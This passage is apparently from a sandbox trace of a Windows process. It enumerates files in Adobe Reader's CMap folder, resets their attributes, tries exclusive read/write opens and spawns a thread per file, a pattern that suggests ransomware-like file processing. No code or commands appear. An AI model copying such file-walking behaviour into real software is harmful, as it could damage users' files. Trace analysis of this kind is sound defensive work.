10.0\\Resource\\CMap\\Adobe-Japan1-90ms-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-90ms-rksj"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.043] GetLastError () returned 0x5 [0166.043] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90ms-RKSJ", dwFileAttributes=0x20) returned 0 [0166.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cbe0) returned 1 [0166.043] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-90pv-RKSJ", cAlternateFileName="ADE5F6~1")) returned 1 [0166.043] wcscmp (_String1="Adobe-Japan1-90pv-RKSJ", _String2=".") returned 1 [0166.043] wcscmp (_String1="Adobe-Japan1-90pv-RKSJ", _String2="..") returned 1 [0166.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050cbe0 [0166.043] wcscpy (in: _Dest=0x2050cbe0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.043] wcscat (in: _Dest=0x2050cbe0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.043] wcscat (in: _Dest=0x2050cbe0, _Source="Adobe-Japan1-90pv-RKSJ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90pv-RKSJ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90pv-RKSJ" [0166.044] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90pv-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-90pv-rksj")) returned 0x20 [0166.045] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90pv-RKSJ", dwFileAttributes=0x20) returned 0 [0166.045] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90pv-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-90pv-rksj"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.045] GetLastError () returned 0x5 [0166.045] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90pv-RKSJ", dwFileAttributes=0x20) returned 0 [0166.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cbe0) returned 1 [0166.046] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-CID", cAlternateFileName="AD8921~1")) returned 1 [0166.046] wcscmp (_String1="Adobe-Japan1-H-CID", _String2=".") returned 1 [0166.046] wcscmp (_String1="Adobe-Japan1-H-CID", _String2="..") returned 1 [0166.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x42c30ef0 [0166.046] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.046] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.046] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-Japan1-H-CID" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-CID") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-CID" [0166.046] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-cid")) returned 0x20 [0166.046] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-CID", dwFileAttributes=0x20) returned 0 [0166.047] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-cid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.047] GetLastError () returned 0x5 [0166.047] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-CID", dwFileAttributes=0x20) returned 0 [0166.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.047] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-Host", cAlternateFileName="ADD587~1")) returned 1 [0166.047] wcscmp (_String1="Adobe-Japan1-H-Host", _String2=".") returned 1 [0166.047] wcscmp (_String1="Adobe-Japan1-H-Host", _String2="..") returned 1 [0166.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x42c30ef0 [0166.048] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.048] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.048] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-Japan1-H-Host" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Host") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Host" [0166.048] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-host")) returned 0x20 [0166.048] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Host", dwFileAttributes=0x20) returned 0 [0166.048] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-host"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.048] GetLastError () returned 0x5 [0166.048] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Host", dwFileAttributes=0x20) returned 0 [0166.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.049] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-Mac", cAlternateFileName="ADF41D~1")) returned 1 [0166.049] wcscmp (_String1="Adobe-Japan1-H-Mac", _String2=".") returned 1 [0166.049] wcscmp (_String1="Adobe-Japan1-H-Mac", _String2="..") returned 1 [0166.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x42c30ef0 [0166.049] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.049] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.049] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-Japan1-H-Mac" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Mac") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Mac" [0166.049] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-mac")) returned 0x20 [0166.050] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Mac", dwFileAttributes=0x20) returned 0 [0166.050] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-mac"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.050] GetLastError () returned 0x5 [0166.050] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Mac", dwFileAttributes=0x20) returned 0 [0166.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.050] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49a9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-UCS2", cAlternateFileName="AD1CC0~1")) returned 1 [0166.050] wcscmp (_String1="Adobe-Japan1-UCS2", _String2=".") returned 1 [0166.050] wcscmp (_String1="Adobe-Japan1-UCS2", _String2="..") returned 1 [0166.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x42c30ef0 [0166.051] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.051] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.051] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-Japan1-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-UCS2" [0166.051] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-ucs2")) returned 0x20 [0166.051] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-UCS2", dwFileAttributes=0x20) returned 0 [0166.051] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-ucs2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0166.051] GetLastError () returned 0x5 [0166.051] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-UCS2", dwFileAttributes=0x20) returned 0 [0166.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0166.052] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-0", cAlternateFileName="AD0C77~1")) returned 1 [0166.052] wcscmp (_String1="Adobe-Korea1-0", _String2=".") returned 1 [0166.052] wcscmp (_String1="Adobe-Korea1-0", _String2="..") returned 1 [0166.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c30ef0 [0166.052] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0166.052] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0166.052] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-Korea1-0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-0" [0166.053] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-0")) returned 0x20 [0175.610] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-0", dwFileAttributes=0x20) returned 0 [0175.610] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-0"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.611] GetLastError () returned 0x5 [0175.611] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-0", dwFileAttributes=0x20) returned 0 [0175.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0175.611] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-1", cAlternateFileName="ADE5E5~1")) returned 1 [0175.612] wcscmp (_String1="Adobe-Korea1-1", _String2=".") returned 1 [0175.612] wcscmp (_String1="Adobe-Korea1-1", _String2="..") returned 1 [0175.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c30ef0 [0175.612] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.612] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.612] wcscat (in: _Dest=0x42c30ef0, _Source="Adobe-Korea1-1" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-1") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-1" [0175.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c30ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ce4 [0175.658] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-2", cAlternateFileName="AD30F0~1")) returned 1 [0175.658] wcscmp (_String1="Adobe-Korea1-2", _String2=".") returned 1 [0175.658] wcscmp (_String1="Adobe-Korea1-2", _String2="..") returned 1 [0175.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c31170 [0175.659] wcscpy (in: _Dest=0x42c31170, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.659] wcscat (in: _Dest=0x42c31170, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.659] wcscat (in: _Dest=0x42c31170, _Source="Adobe-Korea1-2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-2" [0175.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c31170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc0 [0175.660] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-CID", cAlternateFileName="AD15A3~1")) returned 1 [0175.660] wcscmp (_String1="Adobe-Korea1-H-CID", _String2=".") returned 1 [0175.660] wcscmp (_String1="Adobe-Korea1-H-CID", _String2="..") returned 1 [0175.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x42c31210 [0175.661] wcscpy (in: _Dest=0x42c31210, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.661] wcscat (in: _Dest=0x42c31210, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.661] wcscat (in: _Dest=0x42c31210, _Source="Adobe-Korea1-H-CID" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-CID") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-CID" [0175.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c31210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1be0 [0175.662] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-Host", cAlternateFileName="ADCDCC~1")) returned 1 [0175.662] wcscmp (_String1="Adobe-Korea1-H-Host", _String2=".") returned 1 [0175.662] wcscmp (_String1="Adobe-Korea1-H-Host", _String2="..") returned 1 [0175.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x42c312b0 [0175.662] wcscpy (in: _Dest=0x42c312b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.662] wcscat (in: _Dest=0x42c312b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.662] wcscat (in: _Dest=0x42c312b0, _Source="Adobe-Korea1-H-Host" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Host") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Host" [0175.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c312b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2df0 [0175.663] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ca3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-Mac", cAlternateFileName="ADF8FD~1")) returned 1 [0175.663] wcscmp (_String1="Adobe-Korea1-H-Mac", _String2=".") returned 1 [0175.663] wcscmp (_String1="Adobe-Korea1-H-Mac", _String2="..") returned 1 [0175.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x42c31350 [0175.663] wcscpy (in: _Dest=0x42c31350, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.664] wcscat (in: _Dest=0x42c31350, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.664] wcscat (in: _Dest=0x42c31350, _Source="Adobe-Korea1-H-Mac" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Mac") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Mac" [0175.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c31350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d98 [0175.664] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, 